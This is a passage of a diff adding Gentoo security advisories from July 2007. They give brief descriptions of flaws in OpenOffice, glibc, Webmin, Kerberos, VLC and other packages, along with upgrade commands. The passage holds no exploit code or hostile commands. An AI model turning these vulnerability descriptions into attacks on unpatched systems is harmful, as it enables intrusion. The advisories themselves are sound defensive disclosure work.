+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-02">
+  <title>OpenOffice.org: Two buffer overflows</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in OpenOffice.org, allowing
+    for the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">openoffice</product>
+  <announced>July 02, 2007</announced>
+  <revised>July 02, 2007: 01</revised>
+  <bug>181773</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">2.2.1</unaffected>
+      <vulnerable range="lt">2.2.1</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.2.1</unaffected>
+      <vulnerable range="lt">2.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an open source office productivity suite, including
+    word processing, spreadsheet, presentation, drawing, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    John Heasman of NGSSoftware has discovered a heap-based buffer overflow
+    when parsing the "prdata" tag in RTF files where the first token is
+    smaller than the second one (CVE-2007-0245). Additionally, the
+    OpenOffice binary program is shipped with a version of FreeType that
+    contains an integer signedness error in the n_points variable in file
+    truetype/ttgload.c, which was covered by GLSA 200705-22
+    (CVE-2007-2754).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    document, possibly leading to execution of arbitrary code with the
+    rights of the user running OpenOffice.org.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-2.2.1&quot;</code>
+    <p>
+    All OpenOffice.org binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-2.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0245">CVE-2007-0245</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2754">CVE-2007-2754</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-22.xml">GLSA 200705-22</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 25 Jun 2007 15:57:23 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Jun 2007 15:57:59 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-03.xml b/xml/htdocs/security/en/glsa/glsa-200707-03.xml
new file mode 100644
index 00000000..b88057ae
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-03.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-03">
+  <title>Evolution: User-assisted remote execution of arbitrary code</title>
+  <synopsis>
+    The IMAP client of Evolution contains a vulnerability potentially leading
+    to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">evolution-data-server</product>
+  <announced>July 02, 2007</announced>
+  <revised>July 02, 2007: 01</revised>
+  <bug>182011</bug>
+  <access>remote</access>
+  <affected>
+    <package name="gnome-extra/evolution-data-server" auto="yes" arch="*">
+      <unaffected range="ge">1.8.3-r5</unaffected>
+      <unaffected range="rge">1.6.2-r1</unaffected>
+      <vulnerable range="lt">1.8.3-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Evolution is the mail client of the GNOME desktop environment. Camel is
+    the Evolution Data Server module that handles mail functions.
+    </p>
+  </background>
+  <description>
+    <p>
+    The imap_rescan() function of the file camel-imap-folder.c does not
+    properly sanitize the "SEQUENCE" response sent by an IMAP server before
+    being used to index arrays.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious or compromised IMAP server could trigger the vulnerability
+    and execute arbitrary code with the permissions of the user running
+    Evolution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Evolution users should upgrade evolution-data-server to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;gnome-extra/evolution-data-server&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3257">CVE-2007-3257</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 20 Jun 2007 15:13:37 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 25 Jun 2007 16:19:12 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Jun 2007 16:19:36 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-04.xml b/xml/htdocs/security/en/glsa/glsa-200707-04.xml
new file mode 100644
index 00000000..11230aba
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-04.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-04">
+  <title>GNU C Library: Integer overflow</title>
+  <synopsis>
+    An integer overflow in the dynamic loader, ld.so, could result in the
+    execution of arbitrary code with escalated privileges.
+  </synopsis>
+  <product type="ebuild">glibc</product>
+  <announced>July 03, 2007</announced>
+  <revised>July 03, 2007: 01</revised>
+  <bug>183844</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-libs/glibc" auto="yes" arch="x86">
+      <unaffected range="ge">2.5-r4</unaffected>
+      <vulnerable range="lt">2.5-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GNU C library is the standard C library used by Gentoo Linux
+    systems. It provides programs with basic facilities and interfaces to
+    system calls. ld.so is the dynamic linker which prepares dynamically
+    linked programs for execution by resolving runtime dependencies and
+    related functions.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Team discovered a flaw in
+    the handling of the hardware capabilities mask by the dynamic loader.
+    If a mask is specified with a high population count, an integer
+    overflow could occur when allocating memory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    As the hardware capabilities mask is honored by the dynamic loader
+    during the execution of suid and sgid programs, in theory this
+    vulnerability could result in the execution of arbitrary code with root
+    privileges. This update is provided as a precaution against currently
+    unknown attack vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-libs/glibc-2.5-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3508">CVE-2007-3508</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 01 Jul 2007 18:20:09 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Jul 2007 13:34:58 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-05.xml b/xml/htdocs/security/en/glsa/glsa-200707-05.xml
new file mode 100644
index 00000000..2a711c3b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-05.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-05">
+  <title>Webmin, Usermin: Cross-site scripting vulnerabilities</title>
+  <synopsis>
+    Webmin and Usermin are vulnerable to cross-site scripting vulnerabilities
+    (XSS).
+  </synopsis>
+  <product type="ebuild">webmin/usermin</product>
+  <announced>July 05, 2007</announced>
+  <revised>July 05, 2007: 01</revised>
+  <bug>181385</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/webmin" auto="yes" arch="*">
+      <unaffected range="ge">1.350</unaffected>
+      <vulnerable range="lt">1.350</vulnerable>
+    </package>
+    <package name="app-admin/usermin" auto="yes" arch="*">
+      <unaffected range="ge">1.280</unaffected>
+      <vulnerable range="lt">1.280</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Webmin is a web-based administrative interface for Unix-like systems.
+    Usermin is a simplified version of Webmin designed for use by normal
+    users rather than system administrators.
+    </p>
+  </background>
+  <description>
+    <p>
+    The pam_login.cgi file does not properly sanitize user input before
+    sending it back as output to the user.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An unauthenticated attacker could entice a user to browse a specially
+    crafted URL, allowing for the execution of script code in the context
+    of the user's browser and for the theft of browser credentials. This
+    may permit the attacker to login to Webmin or Usermin with the user's
+    permissions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Webmin users should update to the latest stable version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --verbose --oneshot &quot;&gt;=app-admin/webmin-1.350&quot;</code>
+    <p>
+    All Usermin users should update to the latest stable version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --verbose --oneshot &quot;&gt;=app-admin/usermin-1.280&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3156">CVE-2007-3156</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 25 Jun 2007 19:12:36 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 29 Jun 2007 13:33:55 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-06.xml b/xml/htdocs/security/en/glsa/glsa-200707-06.xml
new file mode 100644
index 00000000..4c233d9d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-06.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-06">
+  <title>XnView: Stack-based buffer overflow</title>
+  <synopsis>
+    XnView is vulnerable to a stack-based buffer overflow and possible remote
+    code execution when handling XPM image files.
+  </synopsis>
+  <product type="ebuild">xnview</product>
+  <announced>July 11, 2007</announced>
+  <revised>July 11, 2007: 01</revised>
+  <bug>175670</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-misc/xnview" auto="yes" arch="x86">
+      <vulnerable range="lt">1.70</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XnView is software to view and convert graphics files. XPixMap (XPM) is
+    a simple ascii-based graphics format.
+    </p>
+  </background>
+  <description>
+    <p>
+    XnView is vulnerable to a stack-based buffer overflow while processing
+    an XPM file with an overly long section string (greater than 1024
+    bytes).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to view a specially crafted XPM file
+    with XnView that could trigger the vulnerability and possibly execute
+    arbitrary code with the rights of the user running XnView.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    No update appears to be forthcoming from the XnView developer and
+    XnView is proprietary, so the XnView package has been masked in
+    Portage. We recommend that users select an alternate graphics viewer
+    and conversion utility, and unmerge XnView:
+    </p>
+    <code>
+    # emerge --unmerge xnview</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2194">CVE-2007-2194</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 01 Jul 2007 10:38:47 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 02 Jul 2007 18:12:51 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 11 Jul 2007 19:39:42 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-07.xml b/xml/htdocs/security/en/glsa/glsa-200707-07.xml
new file mode 100644
index 00000000..7d4c1e4f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-07.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-07">
+  <title>MPlayer: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in MPlayer, possibly allowing
+    for the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mplayer</product>
+  <announced>July 24, 2007</announced>
+  <revised>October 12, 2007: 03</revised>
+  <bug>181097</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0.20070622</unaffected>
+      <unaffected range="lt">1.0</unaffected>
+      <vulnerable range="lt">1.0.20070622</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player incuding support for a wide range of audio
+    and video formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Cornelius and Reimar Doffinger of Secunia Research discovered
+    several boundary errors in the functions cddb_query_parse(),
+    cddb_parse_matches_list() and cddb_read_parse(), each allowing for a
+    stack-based buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted file
+    with malicious CDDB entries, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running MPlayer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0.20070622&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2948">CVE-2007-2948</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 15 Jul 2007 07:30:30 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 17 Jul 2007 18:47:22 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 17 Jul 2007 18:48:15 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-08.xml b/xml/htdocs/security/en/glsa/glsa-200707-08.xml
new file mode 100644
index 00000000..09d8e562
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-08.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-08">
+  <title>NVClock: Insecure file usage</title>
+  <synopsis>
+    A vulnerability has been discovered in NVClock, allowing for the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">nvclock</product>
+  <announced>July 24, 2007</announced>
+  <revised>July 24, 2007: 01</revised>
+  <bug>184071</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-video/nvclock" auto="yes" arch="*">
+      <unaffected range="ge">0.7-r2</unaffected>
+      <vulnerable range="lt">0.7-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NVClock is an utility for changing NVidia graphic chipsets internal
+    frequency.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Team discovered that NVClock
+    makes usage of an insecure temporary file in the /tmp directory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create a specially crafted temporary file in
+    /tmp to execute arbitrary code with the privileges of the user running
+    NVCLock.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NVClock users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/nvclock-0.7-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3531">CVE-2007-3531</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 15 Jul 2007 09:48:09 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 17 Jul 2007 18:59:19 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 17 Jul 2007 18:59:32 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-09.xml b/xml/htdocs/security/en/glsa/glsa-200707-09.xml
new file mode 100644
index 00000000..a67f7145
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-09.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-09">
+  <title>GIMP: Multiple integer overflows</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in GIMP, allowing for the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gimp</product>
+  <announced>July 25, 2007</announced>
+  <revised>July 25, 2007: 01</revised>
+  <bug>182047</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/gimp" auto="yes" arch="*">
+      <unaffected range="ge">2.2.16</unaffected>
+      <vulnerable range="lt">2.2.16</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GIMP is the GNU Image Manipulation Program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sean Larsson from iDefense Labs discovered multiple integer overflows
+    in various GIMP plugins (CVE-2006-4519). Stefan Cornelius from Secunia
+    Research discovered an integer overflow in the
+    seek_to_and_unpack_pixeldata() function when processing PSD files
+    (CVE-2007-2949).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted image
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running GIMP.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GIMP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/gimp-2.2.16&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4519">CVE-2006-4519</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2949">CVE-2007-2949</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 11 Jul 2007 20:14:16 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 15 Jul 2007 18:21:17 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 15 Jul 2007 18:21:44 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-10.xml b/xml/htdocs/security/en/glsa/glsa-200707-10.xml
new file mode 100644
index 00000000..4a2b1e41
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-10.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-10">
+  <title>Festival: Privilege elevation</title>
+  <synopsis>
+    A vulnerability has been discovered in Festival, allowing for a local
+    privilege escalation.
+  </synopsis>
+  <product type="ebuild">festival</product>
+  <announced>July 25, 2007</announced>
+  <revised>July 25, 2007: 01</revised>
+  <bug>170477</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-accessibility/festival" auto="yes" arch="*">
+      <unaffected range="ge">1.95_beta-r4</unaffected>
+      <vulnerable range="lt">1.95_beta-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Festival is a text-to-speech accessibility program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Konstantine Shirow reported a vulnerability in default Gentoo
+    configurations of Festival. The daemon is configured to run with root
+    privileges and to listen on localhost, without requiring a password.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could gain root privileges by connecting to the daemon
+    and execute arbitrary commands.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Set a password in the configuration file /etc/festival/server.scm by
+    adding the line: (set! server_passwd password)
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Festival users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-accessibility/festival-1.95_beta-r4&quot;</code>
+  </resolution>
+  <references/>
+  <metadata tag="submitter" timestamp="Wed, 25 Jul 2007 09:41:45 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 25 Jul 2007 21:25:25 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-11.xml b/xml/htdocs/security/en/glsa/glsa-200707-11.xml
new file mode 100644
index 00000000..c794c6c2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-11.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-11">
+  <title>MIT Kerberos 5: Arbitrary remote code execution</title>
+  <synopsis>
+    Multiple vulnerabilities in MIT Kerberos 5 could potentially result in
+    remote code execution with root privileges by unauthenticated users.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>July 25, 2007</announced>
+  <revised>July 25, 2007: 01</revised>
+  <bug>183338</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.5.2-r3</unaffected>
+      <vulnerable range="lt">1.5.2-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT Kerberos 5 is a suite of applications that implement the Kerberos
+    network protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    kadmind is affected by multiple vulnerabilities in the RPC library
+    shipped with MIT Kerberos 5. It fails to properly handle zero-length
+    RPC credentials (CVE-2007-2442) and the RPC library can write past the
+    end of the stack buffer (CVE-2007-2443). Furthermore kadmind fails to
+    do proper bounds checking (CVE-2007-2798).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote unauthenticated attacker could exploit these vulnerabilities
+    to execute arbitrary code with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIT Kerberos 5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.5.2-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2442">CVE-2007-2442</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2443">CVE-2007-2443</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2798">CVE-2007-2798</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 15 Jul 2007 07:39:18 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 16 Jul 2007 20:11:47 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 17 Jul 2007 17:56:29 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-12.xml b/xml/htdocs/security/en/glsa/glsa-200707-12.xml
new file mode 100644
index 00000000..d6f03f58
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-12.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-12">
+  <title>VLC media player: Format string vulnerabilities</title>
+  <synopsis>
+    A vulnerability has been discovered in VLC media player, allowing for the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">vlc</product>
+  <announced>July 28, 2007</announced>
+  <revised>July 28, 2007: 01</revised>
+  <bug>182389</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/vlc" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6c</unaffected>
+      <vulnerable range="lt">0.8.6c</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VLC media player is a multimedia player for various audio and video
+    formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    David Thiel from iSEC Partners Inc. discovered format string errors in
+    various plugins when parsing data. The affected plugins include Vorbis,
+    Theora, CDDA and SAP.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted media
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running VLC media player.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VLC media player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/vlc-0.8.6c&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3316">CVE-2007-3316</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 14 Jul 2007 21:42:20 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 15 Jul 2007 18:31:02 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 15 Jul 2007 18:31:47 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200707-13.xml b/xml/htdocs/security/en/glsa/glsa-200707-13.xml
new file mode 100644
index 00000000..c3df6f5d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200707-13.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200707-13">
+  <title>Fail2ban: Denial of Service</title>
+  <synopsis>
+    Fail2ban is vulnerable to a Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">fail2ban</product>
+  <announced>July 28, 2007</announced>
+  <revised>January 09, 2008: 02</revised>
+  <bug>181214</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/fail2ban" auto="yes" arch="*">
+      <unaffected range="ge">0.8.0-r1</unaffected>
+      <vulnerable range="lt">0.8.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Fail2ban is a tool for parsing log files and banning IP addresses which
+    make too many password failures.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability has been discovered in Fail2ban when parsing log files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted SSH login banners to the
+    vulnerable host, which would prevent any ssh connection to the host and
+    result in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Fail2ban users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/fail2ban-0.8.0-r1&quot;</code>
